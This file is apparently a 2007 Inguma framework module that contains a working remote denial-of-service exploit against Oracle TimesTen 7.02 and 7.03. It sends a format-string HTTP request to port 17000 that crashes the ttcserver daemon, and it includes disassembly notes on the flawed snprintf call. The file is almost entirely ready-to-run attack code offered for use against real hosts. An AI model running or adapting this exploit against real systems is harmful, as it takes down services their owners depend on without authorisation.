#!/usr/bin/python

"""
Oracle TimesTen 7.03 Remote DOS #1 for Inguma
Copyright (c) 2007 Joxean Koret <joxeankoret@yahoo.es>

License is GPL
"""

"""
Tested against Oracle TimesTen 7.02 and 7.03 on Win32 and GNU/Linux.
"""

import sys
import time
import socket

from lib.libexploit import CIngumaModule

name = "oratt70dos1"
brief_description = "Oracle Times Ten 70 Remote DOS #1"
type = "exploit"
affects = ["Oracle TimesTen 7.02 and 7.03"]
description = """
Oracle TimesTen 7.0X is vulnerable to multiple remote denial of service conditions.
That one exploits a vulnerability found in Linux and Windows versions.
"""
patch = "Fixed in version 7.0.5"
category = "dos"
discoverer = "Joxean Koret"
author = "Joxean Koret <joxeankoret@yahoo.es>"

class COraTt70(CIngumaModule):
    target = ""
    port = 17000
    waitTime = 0
    timeout = 1
    exploitType = 1
    services = {}
    results = {}
    dict = None
    interactive = True

    def runDos(self, target, port):

        """
        Raw packet found by decompiling "ttcserver"

        PROCEDURE _Z18registerWithDaemoniiiiPcPi AT ADDRESS 0x0804c70c
        BEGIN ASM
        (...)
        0x0804c8fe: push   $0x806c40f
        ;'GET hello?pid=%d&type=%s&payload=%s&serverport=%s&ident=%s&protocolID=%s HTTP/1.0\r\n\r\n'
        0x0804c903: push   %eax
        0x0804c904: push   $0x400
        0x0804c909: push   %ebx
        0x0804c90a: call   0806afe0 <ttc_snprintf>
        (...)
        
        You don't need to send the complete string. By simply sending any % character as the parameter value you
        will get the same crash.

        """
        buf = "GET hello?pid=%d&type=%s&payload=%s&serverport=%s&ident=%s&protocolID=%s HTTP/1.0\r\n\r\n"

        try:
            socket.setdefaulttimeout(self.timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target, port))
            s.send(buf)
            s.close()

            print "Exploit sended, waiting for a while..."
            time.sleep(3)

            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((target, port))
                s.close()

                print "Exploit doesn't work :("
                return False
            except:
                print "Exploit works!"
                return False

            return True
        except:
            print "Error:", sys.exc_info()[1]
            return False

    def run(self):

        if self.target == "" or self.target is None:
            self.target = "localhost"

        if self.port == 0 or self.port is None:
            self.port = 17000

        return self.runDos(self.target, self.port)

    def printSummary(self):
        """ If the method run of the module returns True printSummary will called after """
        pass
